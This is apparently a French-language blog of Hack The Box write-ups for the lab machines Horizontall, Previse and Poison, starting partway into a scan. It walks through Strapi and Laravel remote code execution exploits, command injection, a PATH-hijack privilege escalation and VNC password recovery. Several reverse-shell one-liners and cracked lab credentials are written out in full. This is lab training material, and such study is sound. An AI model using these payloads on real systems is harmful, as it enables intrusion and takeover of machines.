| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL2qJTqj1aoxBGb8yWIN4UJwFs4/UgDEutp3aiL2/6yV2iE78YjGzfU74VKlTRvJZWBwDmIOosOBNl9nfmEzXerD0g5lD5SporBx06eWX/XP2sQSEKbsqkr7Qb4ncvU8CvDR6yGHxmBT8WGgaQsA2ViVjiqAdlUDmLoT2qA3GeLBQgS41e+TysTpzWlY7z/rf/u0uj/C3kbixSB/upkWoqGyorDtFoaGGvWet/q7j5Tq061MaR6cM2CrYcQxxnPy4LqFE3MouLklBXfmNovryI0qVFMki7Cc3hfXz6BmKppCzMUPs8VgtNgdcGywIU/Nq1aiGQfATneqDD2GBXLjzV
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIyw6WbPVzY28EbBOZ4zWcikpu/CPcklbTUwvrPou4dCG4koataOo/RDg4MJuQP+sR937/ugmINBJNsYC8F7jN0=
| 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJqmDVbv9RjhlUzOMmw3SrGPaiDBgdZ9QZ2cKM49jzYB
80/tcp open http syn-ack nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://horizontall.htb
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Foothold : Strapi CMS

Subdomain enumeration : api-prod.horizontall.htb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -u http://horizontall.htb -H "Host: FUZZ.horizontall.htb" -mc 200

 /'___\ /'___\  /'___\ 
 /\ \__/ /\ \__/ __ __ /\ \__/
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
 \ \_\  \ \_\  \ \____/ \ \_\ 
 \/_/ \/_/ \/___/ \/_/

 v2.1.0-dev
________________________________________________

 :: Method : GET
 :: URL : http://horizontall.htb
 :: Wordlist : FUZZ: /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header : Host: FUZZ.horizontall.htb
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200
________________________________________________

www [Status: 200, Size: 901, Words: 43, Lines: 2, Duration: 30ms]
api-prod [Status: 200, Size: 413, Words: 76, Lines: 20, Duration: 57ms]
:: Progress: [114441/114441] :: Job [1/1] :: 2020 req/sec :: Duration: [0:01:02] :: Errors: 0 ::

http://api-prod.horizontall.htb/admin/strapiVersion –> 3.0.0-beta.17.4

CVE : Strapi 3.0.0-beta.17.4

1
2
3
4
5
6
7
8
9


┌──(kali㉿kali)-[~/htb/Horizontall]
└─$ searchsploit strapi 3.0.0-beta.17.4
-------------------------------------------
 Exploit Title | Path
-------------------------------------------
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) | multiple/webapps/50239.py
Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) | nodejs/webapps/50716.rb
-------------------------------------------
Shellcodes: No Results

Strapi RCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


┌──(kali㉿kali)-[~/htb/Horizontall]
└─$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQxMjcyNTQ0LCJleHAiOjE3NDM4NjQ1NDR9.VKjJDQK6JqpNUo7Zsg5plpM2HHmdxLyTboI9kDnixHk

$> bash -i >& /dev/tcp/10.10.14.19/1337 0>&1
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.19%2F1337%200%3E%261
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
$> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.19 1337 >/tmp/f
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output

----------------------------------------------------

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.105] 43406
bash: cannot set terminal process group (1988): Inappropriate ioctl for device
bash: no job control in this shell
strapi@horizontall:~/myapi$ whoami
whoami
strapi

database.json - user/password for mysql

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


strapi@horizontall:~/myapi$ grep -rni pass config/
config/environments/production/database.json:13: "password": "${process.env.DATABASE_PASSWORD || ''}",
config/environments/development/database.json:12: "password": "#J!:F9Zt2u"
config/environments/staging/database.json:13: "password": "${process.env.DATABASE_PASSWORD || ''}",
strapi@horizontall:~/myapi$ config/
bash: config/: Is a directory
strapi@horizontall:~/myapi$ cd config/
strapi@horizontall:~/myapi/config$ cd environments/development/
strapi@horizontall:~/myapi/config/environments/development$ cat database.json
{
 "defaultConnection": "default",
 "connections": {
 "default": {
 "connector": "strapi-hook-bookshelf",
 "settings": {
 "client": "mysql",
 "database": "strapi",
 "host": "127.0.0.1",
 "port": 3306,
 "username": "developer",
 "password": "#J!:F9Zt2u"
 },
 "options": {}
 }
 }
}

mysql - nothing interesting

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


ptrapi@horizontall:~/myapi/config/environments/development$ mysql -u developer -
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 29
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use strapi;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------------+
| Tables_in_strapi |
+------------------------------+
| core_store |
| reviews |
| strapi_administrator |
| upload_file |
| upload_file_morph |
| users-permissions_permission |
| users-permissions_role |
| users-permissions_user |
+------------------------------+
8 rows in set (0.00 sec)

mysql> select * from strapi_administrator;
+----+----------+-----------------------+--------------------------------------------------------------+--------------------+---------+
| id | username | email | password | resetPasswordToken | blocked |
+----+----------+-----------------------+--------------------------------------------------------------+--------------------+---------+
| 3 | admin | admin@horizontall.htb | $2a$10$bPZbunuhF9lWrddSuw3RI.QmCitfZDJmwbB0WozXlxT2siCwanVVK | NULL | NULL |
+----+----------+-----------------------+--------------------------------------------------------------+--------------------+---------+
1 row in set (0.00 sec)

 ^^^
 |||
 |||
 |||

 THIS IS OUR PASSWORD THAT WE HAVE DEFINED...

Privilege Escalation

Laravel port 8000

On découvre qu’un service tourne sur le port 8000, il s’agit du framework laravel. Dans un premier temps, il a fallu faire du port forwarding afin d’avoir plus d’informations.

Chisel

On fait du port forwarding avec chisel pour dupliquer sur ma kali le port 8000 de la machine cible. On découvre ensuite qu’il s’agit du framework laravel qui se cache derriere.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


┌──(kali㉿kali)-[~/htb/Horizontall]
└─$ ./chisel server -p 1082 --reverse
2025/03/06 10:36:18 server: Reverse tunnelling enabled
2025/03/06 10:36:18 server: Fingerprint GadUpp2bJ5QyhTVJpJx1RJ3JnbEW0HpdrGb1bHRNevo=
2025/03/06 10:36:18 server: Listening on http://0.0.0.0:1082
2025/03/06 10:36:20 server: session#1: tun: proxy#R:8000=>localhost:8000: Listening

-----------------------
## Sur la machine cible

$ ./chisel client 10.10.14.19:1082 R:8000:localhost:8000 > /dev/null 2> /dev/null &

Laravel : CVE-2021-3129

https://nvd.nist.gov/vuln/detail/cve-2021-3129 On doit générer un fichier phar qui permettra d’executer une commande en particulier. Ensuite, on peut exploiter laravel en passant au fichier python le fichier phar.

1
2
3
4
5
6
7
8
9


┌──(kali㉿kali)-[~/htb/Horizontall/laravel-exploits/phpggc]
└─$ python3 ./laravel-ignition-rce.py
Usage: ./laravel-ignition-rce.py <url> </path/to/exploit.phar> [log_file_path]

Generate your PHAR using PHPGGC, and add the --fast-destruct flag if you want to see your command's result. The Monolog/RCE1 GC works fine.

Example:
 $ php -d'phar.readonly=0' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id
 $ ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar

Exploit - gaining root shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


┌──(kali㉿kali)-[~/htb/Horizontall/laravel-exploits/]
└─$ git clone https://github.com/ambionics/phpggc.git; cd phpggc
...

## On génère le fichier phar qui executera la commande "id"
┌──(kali㉿kali)-[~/htb/Horizontall/laravel-exploits/phpggc]
└─$ php -d'phar.readonly=0' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.19 6666 >/tmp/f"


┌──(kali㉿kali)-[~/htb/Horizontall/laravel-exploits/phpggc]
└─$ cd ..

┌──(kali㉿kali)-[~/htb/Horizontall/laravel-exploits]
└─$ python3 ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !

--------------------------------

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.105] 54562
bash: cannot set terminal process group (25151): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# whoami
whoami
root
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
cat /root/root.txt
a901e.....5a11

HTB | Previse

Thu, 06 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Previse	Linux	10.10.11.104	Easy

Users

1

m4lwhere:ilovecody112235!

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -An -T4 -vvv 10.10.11.104
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbdbnxQupSPdfuEywpVV7Wp3dHqctX3U+bBa/UyMNxMjkPO+rL5E6ZTAcnoaOJ7SK8Mx1xWik7t78Q0e16QHaz3vk2AgtklyB+KtlH4RWMBEaZVEAfqXRG43FrvYgZe7WitZINAo6kegUbBZVxbCIcUM779/q+i+gXtBJiEdOOfZCaUtB0m6MlwE2H2SeID06g3DC54/VSvwHigQgQ1b7CNgQOslbQ78FbhI+k9kT2gYslacuTwQhacntIh2XFo0YtfY+dySOmi3CXFrNlbUc2puFqtlvBm3TxjzRTxAImBdspggrqXHoOPYf2DBQUMslV9prdyI6kfz9jUFu2P1Dd
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCnDbkb4wzeF+aiHLOs5KNLPZhGOzgPwRSQ3VHK7vi4rH60g/RsecRusTkpq48Pln1iTYQt/turjw3lb0SfEK/4=
| 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIICTOv+Redwjirw6cPpkc/d3Fzz4iRB3lCRfZpZ7irps
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php

Foothold

Website with bad redirection

Le site web nous empeche de voir certaines pages et nous demande de nous authentifier sur la page de login.php. Cependant, on observe qu’en vérité on recoit quand meme le code source de la page, avant d’etre redirigé ! On peut donc capturer la plupart des pages, detecter avec gobuster, et les ouvrir dans burp. Ensuite, on a acces a une page sur lequel on peut créer un compte. On forge donc une requete POST depuis burp pour créer un nouveau compte. Enfin, on peut se connecter de manière classique sur le site web avec notre nouveau compte

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


POST /accounts.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://10.10.11.104
Connection: keep-alive
Referer: http://10.10.11.104/login.php
Cookie: PHPSESSID=u7bqrqlp12dv65ple4ev2q1glr
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=leopold&password=password&confirm=password

files.php - siteBackup.zip

On trouve un zip avec tout le code du site web. On a notammment les creds mysql.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


<?php

function connectDB(){
 $host = 'localhost';
 $user = 'root';
 $passwd = 'mySQL_p@ssw0rd!:)';
 $db = 'previse';
 $mycon = new mysqli($host, $user, $passwd, $db);
 return $mycon;
}

?>

logs.php code injection

Dans le fichier logs.php on découvre l’utilsation d’une variable $_POST[‘delim’] dans la fonction. On peut executer un shell facilement. On met en base64 le shell pour facilité l’execution de la commande:

POST /logs.php … delim=space;ech’/‘o+c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkvMTMzNyAwPiYx+|+base64+-d+|+bash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
 header('Location: login.php');
 exit;
}

/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";

if(file_exists($filepath)) {
 header('Content-Description: File Transfer');
 header('Content-Type: application/octet-stream');

-----------------------------

┌──(kali㉿kali)-[~/htb/Previse/siteBackup]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.104] 60650
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@previse:/var/www/html$

www-data@previse:/var/www/html$

www-data@previse:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@previse:/var/www/html$ ^Z
zsh: suspended nc -lnvp 1337

m4lwhere - mysql db

On se connecte avec mysql et les creds recupérés dans config.php

1
2
3
4
5
6
7


mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | leopold | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2025-03-05 17:01:15 |
+----+----------+------------------------------------+---------------------+

On casse le hash avec hashcat (md5crypt –> -m 500) :

1
2


$ hashcat -m 500 ./hash.txt ~/wordlists/rockyou.txt --show
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

Connection en ssh :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Previse/siteBackup]
└─$ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

...

Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5
m4lwhere@previse:~$ ls
user.txt
m4lwhere@previse:~$ cat user.txt
ccde.....f7fd

Privilege Escalation

access_backup.sh as root

sudo -l –> on observe le fichier /opt/scripts/access_backup.sh que l’on peut executer en tant que root On voit qu’il fait appel à la commande “gzip”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


m4lwhere@previse:~/bin$ sudo -l
User m4lwhere may run the following commands on previse:
 (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~/bin$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

On peut facilement executer n’importe quelle commande en tant que root en modifiant le PATH. On crée un dossier bin dans le /home. On y met un fichier avec le nom “gzip” et la commande pour ouvrir un reverse shell dedans. Enfin, on ajoute le dossier “bin” actuel en 1ere place dans le PATH. Lorsque l’on va executer en tant que root le script access_backup.sh, il va chercher où se trouve le binaire gzip pour l’executer. Le 1er dossier qu’il va fouiller est le notre que l’on vient d’ajouter contenant le faux gzip. Il va donc l’executer, au lieu du véritable gzip et ouvrir notre reverse shell en tant que root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


m4lwhere@previse:~/bin$ pwd
/home/m4lwhere/bin
m4lwhere@previse:~/bin$ export PATH=/home/m4lwhere/bin:$PATH
m4lwhere@previse:~/bin$ vim gzip
m4lwhere@previse:~/bin$ chmod +x gzip
m4lwhere@previse:~/bin$ cat gzip
#!/bin/bash
sh -i >& /dev/tcp/10.10.14.19/6666 0>&1
m4lwhere@previse:~/bin$ sudo /opt/scripts/access_backup.sh

-----------------------------------------

┌──(kali㉿kali)-[~/htb/Previse/siteBackup]
└─$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.104] 50272
# whoami
root
# cat /root/root.txt
3ed1.....e90e

HTB | Poison

Tue, 04 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Poison	Linux	10.10.10.84	Medium

Users

charix : Charix!2#4%6&8(0

Enumeration

nmap

1
2


22 - ssh
80 - http freebsd apache

Foothold

charix - user flag

Sur la page d’accueil on trouve un barre de recherche avec un vuln qui nous permet d’afficher n’importe quel fichier. On affiche /etc/passwd et on trouve le user charix. Ensuite, on trouve ce fichier sur la page web du port 80 de la machine. Il indique que c’est du base64 encodé 13 fois :

1

This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=

On trouve ce script bash sur un forum qui permet de rapidement effectué 13 fois un base64 -d :

1
2
3
4
5


state=$(<b64.txt)
for i in {1..13}; do
 state=$(<<<"$state" base64 --decode)
done
echo "$state"

On trouve rapidement le mot de passe, puis on se connecte en SSH :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


┌──(kali㉿kali)-[~/htb]
└─$ cd Poison

┌──(kali㉿kali)-[~/htb/Poison]
└─$ vim b64.txt

┌──(kali㉿kali)-[~/htb/Poison]
└─$ state=$(<b64.txt)
for i in {1..13}; do
 state=$(<<<"$state" base64 --decode)
done
echo "$state"
Charix!2#4%6&8(0

┌──(kali㉿kali)-[~/htb/Poison]
└─$ ssh charix@10.10.10.84
(charix@10.10.10.84) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories: https://www.FreeBSD.org/security/
FreeBSD Handbook: https://www.FreeBSD.org/handbook/
FreeBSD FAQ: https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums: https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with: pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed: freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages: man man
FreeBSD directory layout: man hier

Edit /etc/motd to change this login announcement.
Man pages are divided into section depending on topic. There are 9 different
sections numbered from 1 (General Commands) to 9 (Kernel Developer's Manual).
You can get an introduction to each topic by typing

 man <number> intro

In other words, to get the intro to general commands, type

 man 1 intro
charix@Poison:~ % cat user.txt
eaac.....209c

On a donc : charix : Charix!2#4%6&8(0

Privilege Escalation

secret.zip

On découvre un fichier secret.zip chiffré à la racine du home de charlix. On peut le déchiffrer avec le meme mdp que popur le ssh de charlix: Charix!2#4%6&8(0

On découvre un fichier de 8 caracteres chiffrés

VNC launched by root

En regardant les process executés par root, on découvre une sessions VNC ouverte sur le port 5901, lancé par root. Si on arrive a s’y connecté, on peut optentiellemnt avec un shell en tant que root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
root 1 0.0 0.1 5408 1040 - SLs 22:56 0:00.00 /sbin/init --
root 319 0.0 0.5 9560 5052 - Ss 22:56 0:00.09 /sbin/devd
root 390 0.0 0.2 10500 2452 - Ss 22:56 0:00.04 /usr/sbin/syslogd -s
root 543 0.0 0.5 56320 5396 - S 22:57 0:01.18 /usr/local/bin/vmtoolsd -c /usr/local/share/vmware-tools/tools.conf -p /usr/local/lib/open-vm-tools/plugins/vmsvc
root 620 0.0 0.7 57812 7052 - Is 22:57 0:00.01 /usr/sbin/sshd
root 625 0.0 1.1 99172 11516 - Ss 22:58 0:00.06 /usr/local/sbin/httpd -DNOHTTPACCEPT
root 642 0.0 0.6 20636 6140 - Ss 22:58 0:00.03 sendmail: accepting connections (sendmail)
root 650 0.0 0.2 12592 2436 - Ss 22:59 0:00.01 /usr/sbin/cron -s
root 529 0.0 0.9 23620 8872 v0- I 22:57 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
root 540 0.0 0.7 67220 7064 v0- I 22:57 0:00.01 xterm -geometry 80x24+10+10 -ls -title X Desktop
root 541 0.0 0.5 37620 5312 v0- I 22:57 0:00.00 twm
root 697 0.0 0.2 10484 2076 v0 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv0
root 698 0.0 0.2 10484 2076 v1 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv1
root 699 0.0 0.2 10484 2076 v2 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv2
root 700 0.0 0.2 10484 2076 v3 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv3
root 701 0.0 0.2 10484 2076 v4 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv4
root 702 0.0 0.2 10484 2076 v5 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv5
root 703 0.0 0.2 10484 2076 v6 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv6
root 704 0.0 0.2 10484 2076 v7 Is+ 22:59 0:00.00 /usr/libexec/getty Pc ttyv7
root 617 0.0 0.4 19660 3616 0 Is+ 22:57 0:00.00 -csh (csh)

Dechiffrement du fichier secret

Finalement, on emet l’hypothese que le fichier secret serait un fichier de mot de passe chiffré pour vnc. On tente d’utiliser un outil github pour le déchiffré : https://github.com/jeroennijhof/vncpwd

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


┌──(kali㉿kali)-[~/htb/Poison]
└─$ git clone https://github.com/jeroennijhof/vncpwd.git
Cloning into 'vncpwd'...
remote: Enumerating objects: 28, done.
remote: Total 28 (delta 0), reused 0 (delta 0), pack-reused 28 (from 1)
Receiving objects: 100% (28/28), 22.15 KiB | 1.85 MiB/s, done.
Resolving deltas: 100% (9/9), done.

┌──(kali㉿kali)-[~/htb/Poison]
└─$ cd vncpwd

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ ls
d3des.c d3des.h LICENSE Makefile README vncpwd.c

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ make
gcc -Wall -g -o vncpwd vncpwd.c d3des.c

┌──(kali㉿kali)-[~/htb/Poison/vncpwd]
└─$ ./vncpwd ../secret
Password: VNCP@$$!

On obtient le mot de passe: VNCP@$$!

Connexion sur la session VNC - root flag

On peut se connecter a une session VNC facilement en utilisant l’outil vncviewer. Mais le port 5901 n’est dispo qu’en local sur la machine ! Je propose de résoudre ce probleme en faisant du port forwarding sur ma machine, à l’aide l’option -L de ssh.

Ensuite j’ai pu utiliser vncviewer et ouvrir la session avec le mot de passe obtenu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


┌──(kali㉿kali)-[~/htb/Poison]
└─$ ssh charix@10.10.10.84 -L 5901:localhost:5901
Charix!2#4%6&8(0
(charix@10.10.10.84) Password for charix@Poison:
Last login: Tue Mar 4 23:11:10 2025 from 10.10.14.19
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

---------------------------------------------

